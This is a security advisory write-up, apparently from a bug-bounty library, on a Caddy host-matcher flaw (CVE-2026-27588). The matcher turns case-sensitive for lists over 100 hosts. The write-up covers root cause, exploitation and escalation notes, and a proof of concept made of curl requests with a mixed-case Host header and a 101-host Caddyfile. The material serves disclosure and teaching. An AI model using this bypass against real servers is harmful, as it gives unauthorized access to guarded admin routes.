# Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route/auth bypass

Caddy's host matcher turns case-sensitive for lists over 100 entries, letting a mixed-case Host header bypass host-based route guards.

- Payout: Research
- Severity: high
- Program: Caddy
- Found by: manizada
- Disclosed: 2026-02-24
- CVE: CVE-2026-27588
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x76f-jf84-rqj8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x76f-jf84-rqj8
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:go technique:regression technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** HTTP host request matcher in Caddy server config
**Root cause:** The large-list fast path binary-searches a sorted host list with case-sensitive equality, and the fallback loop breaks at the first non-fuzzy entry before reaching the strings.EqualFold check, so exact-only lists >100 never match case-insensitively.
**Steps:**
1. Configure Caddy with a `host` matcher listing 101 exact hostnames (e.g. `h001.test`..`h101.test`) plus `path /admin`, responding 403 for the matcher and 200 otherwise.
2. Send baseline `curl -H 'Host: h050.test' http://127.0.0.1:8080/admin` -> 403 DENY.
3. Send `curl -H 'Host: H050.TEST' http://127.0.0.1:8080/admin` -> 200 ALLOW, bypassing the guarded route.
**How found:** Reporter read the MatchHost doc comment claiming case-insensitivity, then inspected MatchWithError and noticed the `large()` (>100) fast path uses case-sensitive `m[pos] == reqHost` and the fallback loop short-circuits before the EqualFold check for exact-only lists.
**Exploitation:** Attacker changes only the casing of the Host header on a request to a protected path; Caddy's host matcher fails to match the allowlist entry, so the guarded route (basicauth/forward_auth/deny) is skipped while the default handler still proxies to the same upstream, which treats the mixed-case host as the same tenant.
**Escalation:** Chained with a default reverse_proxy to the same multi-tenant backend so the upstream still serves the protected endpoint without the intended Caddy-side guard.
**Insight:** Optimized fast paths that diverge from documented semantics are prime bypass targets: when a matcher has a size threshold, test inputs straddling that threshold with semantically-equivalent variants (case, encoding, trailing dot) to expose the divergent branch.

## Proof of concept (copied exactly from the original report)

**Curl requests showing case-sensitive host bypass**

```
curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin"
curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true
```

**Caddyfile with 101-host protected matcher**

```
@protected {
        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
        path /admin
    }
```

